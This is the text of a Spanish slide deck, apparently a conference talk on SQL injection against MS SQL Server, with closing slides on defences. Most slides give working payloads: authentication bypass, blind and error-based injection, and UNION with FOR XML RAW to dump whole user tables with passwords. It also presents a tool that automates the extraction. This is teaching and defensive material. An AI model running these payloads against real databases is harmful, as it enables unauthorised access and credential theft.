  • 6. Ataques a la seguridad  Integridad: Borrado o corrupción de datos  UPDATE, DELETE, INSERT, DROP, ...  Disponibilidad: Denegación de servicio  SHUTDOWN, consultas complejas, exploits, ...  Confidencialidad: Acceso a datos privados  Bypass de autenticación (' or '1'='1)  A ciegas (Blind SQL injection)  A través de mensajes de error  Anexando otros conjuntos de datos 6
  • 7. Inyección SQL básica Usuario: ' or '1'='1 Contraseña: ' or '1'='1 "SELECT * FROM Usuarios WHERE nombre='" + usuario + "' AND pass='" + contraseña + "'" 7
  • 8. Inyección SQL básica  "SELECT * FROM Usuarios WHERE nombre='' or '1'='1' AND pass='' or '1'='1'"  La condición WHERE siempre es cierta  Devuelve toda la tabla de usuarios  El primer registro suele coincidir con el del administrador Usuarios nombre pass esAdmin admin P4$$_C0mPlej0! Sí usuario1 password1 No usuario2 password2 No 8
  • 9. Inyección SQL a ciegas  Booleanización: más eficiente con búsqueda binaria  EXISTS (SELECT … WHERE n < 128)  V  EXISTS (SELECT … WHERE n < 64)  V  EXISTS (SELECT … WHERE n < 32)  F  EXISTS (SELECT … WHERE n < 48)  V  EXISTS (SELECT … WHERE n < 40)  F  EXISTS (SELECT … WHERE n < 44)  F  EXISTS (SELECT … WHERE n < 46)  F  EXISTS (SELECT … WHERE n < 47)  V  Conclusión: n=46 9
  • 11. Inyección SQL basada en errores  "SELECT * FROM Acceso WHERE usuario='' having 1=1--' AND pass='x'" 11
  • 12. Inyección SQL basada en errores  "SELECT * FROM Acceso WHERE usuario='' AND convert(int, system_user)>0--' AND pass='x'" 12
  • 13. Inyección SQL anexando datos  "SELECT id, asunto, fecha FROM Notas WHERE year(fecha)=2010 UNION SELECT 0, login+'/'+pass, null FROM Users" Notas id asunto fecha 1 Día festivo (año nuevo) 01-01-2010 2 Empiezan las rebajas 07-01-2010 ... ... ... 0 admin/P4$$w0rd! NULL 0 user1/password1 NULL 13
  • 15. FOR XML (MS SQL Server 2005/2008)  "SELECT * FROM Numeros" Numero Nombre 1 Uno 2 Dos 3 Tres 4 Cuatro  "SELECT * FROM Numeros FOR XML RAW" XML_F52E2B61-18A1-11d1-B105-00805F49916B <row Numero="1" Nombre="Uno" /><row Numero="2" Nombre="Dos" /><row Numero="3" Nombre="Tres" /><row Numero="4" Nombre="Cuatro" /> 15
  • 16. Anexando una tabla en un campo  "SELECT asunto FROM Notas WHERE id=1 AND 1=0 UNION SELECT(SELECT * FROM Users FOR XML RAW)" asunto Día festivo (año nuevo) <row login="admin" pass="P4$$w0rd!" /><row login="user1" pass="password1" /> 16
  • 17. Sintaxis de FOR XML FOR XML { { RAW [ ( 'ElementName' ) ] | AUTO } [ <CommonDirectives> [ , { XMLDATA | XMLSCHEMA [ ( 'TargetNameSpaceURI' ) ] } ] [ , ELEMENTS [ XSINIL | ABSENT ] ] | EXPLICIT … | PATH … } <CommonDirectives> ::= [ , BINARY BASE64 ] [ , TYPE ] [ , ROOT [ ( 'RootName' ) ] ] 17
  • 18. Obtención del número de columnas
  • 19. GROUP BY / HAVING 1=1  HAVING 1=1  Error (cuyo texto revela el nombre de la primera columna)  GROUP BY columna1 HAVING 1=1  Error con el nombre de la segunda columna  GROUP BY columna1, columna2 HAVING 1=1  Error con el nombre de la tercera columna  ...  GROUP BY columna1, columna2, columna3, … , columnaN HAVING 1=1  Sin errores 19
  • 20. ORDER BY N  ORDER BY 1  Sin errores  ORDER BY 2  Sin errores  ...  ORDER BY N  Sin errores  ORDER BY N+1  Falla (Ante el primer fallo probar más valores por si se tratara de un campo no ordenable. Ej: de tipo binary/varbinary) 20
  • 21. UNION NULL  UNION SELECT null WHERE 0=1  Falla  UNION SELECT null, null WHERE 0=1  Falla  UNION SELECT null, null, null WHERE 0=1  Falla  ...  UNION SELECT null, null, null, null, … , null WHERE 0=1  Sin errores 21
  • 23. Obtención del tipo de datos  Basta con encontrar una columna de tipo texto  char, varchar, nvarchar, ...  Si muestra errores:  CAST(), CONVERT()  En otro caso:  UNION SELECT null, null, 'a', null, null, ... [WHERE 1=0] 23
  • 25. Extracción serializando datos  … AND 1=0 UNION SELECT v1, v2, … , (SELECT * FROM Tabla FOR XML RAW, BINARY BASE64), … , vN Notas id asunto fecha <row login="admin" pass="P4$$w0rd!" /> null null <row login="user1" pass="password1" /> 25
  • 27. Cuándo es necesario segmentar  La técnica podría fallar por timeouts en tablas con muchos datos (registros, BLOBs, etc.)  Timeout en la transmisión de datos (por ejemplo, en IIS)  Timeout al ejecutar la consulta (en SQL Server)  Solución clásica: "divide y vencerás"  Aplicar la técnica en subconjuntos menores  Combinar todos los resultados 27
  • 28. Timeout en la transmisión de datos  Convertir el XML en una cadena de texto y trocearla  SUBSTRING (texto, desde, longitud)  Muy fácil de implementar  Requiere que la consulta se ejecute por completo  "SELECT SUBSTRING(CONVERT( nvarchar(MAX), (SELECT * FROM Numeros FOR XML RAW)), 1, 25)" <row Numero="1" Nombre="Uno" /><row Numero="2" Nombre="Dos" /><row Numero="3" Nombre="Tres" /><row Numero="4" Nombre="Cuatro" /> 28
  • 29. Timeout al ejecutar la consulta  Numerar las filas y seleccionar un subconjunto  ROW_NUMBER() OVER (ORDER BY columna)  En SQL Server no hay cláusula LIMIT (presente en MySQL)  Requiere saber el nombre de una columna (no acepta índices)  "SELECT * FROM (SELECT ROW_NUMBER() OVER (ORDER BY Numero) As N, * FROM Numeros) As T WHERE N>=1 AND N<4" <row Numero="1" Nombre="Uno" /><row Numero="2" Nombre="Dos" /><row Numero="3" Nombre="Tres" /><row Numero="4" Nombre="Cuatro" /> 29
  • 31. SFX-SQLi Tool 1.0  Capaz de extraer tablas completas con una sola petición  Inyecciones GET y POST. SSL, cookies, proxy, etc.  Si las tablas son muy grandes, las puede segmentar  Implementa todas las técnicas descritas antes  Ayuda al descubrimiento de columnas y tipos  Deshace la codificación HTML automáticamente  Log de todo lo que inyecta y de las respuestas  Visualización en explorador integrado y código fuente 31
  • 32. Novedades en SFX-SQLi Tool 1.1  Acceso completo a otras bases de datos del mismo servidor a través de la master  Ejecución de consultas personalizadas  Ajustes de configuración avanzada  Pequeñas mejoras y correcciones 32
  • 34. Medidas de protección  Las de siempre: filtrar todas las entradas al gestor de bases de datos  Forzando la conversión de tipos para entradas numéricas  Filtrando o escapando los caracteres peligrosos para las cadenas de texto (comilla simple)  Siempre hacerlo en el servidor en última instancia (no confiar en JavaScript, Flash, Silverlight, etc) 34
  • 35. Medidas de protección  Utilizar los mecanismos de protección de la plataforma en la que estemos desarrollando  Consultas SQL parametrizadas, filtros predefinidos, etc.  Aplicar el principio de menor privilegio  Limita las consecuencias ante un ataque exitoso  No dar información detallada sobre los errores  “Contraseña incorrecta para el usuario usuario”  “Error al conectar con la base de datos mibasededatos”  Response.Write(ex.ToString()) en bloques Try - Catch 35
  • 36. ¡Muchas gracias! Daniel Kachakil dani@kachakil.com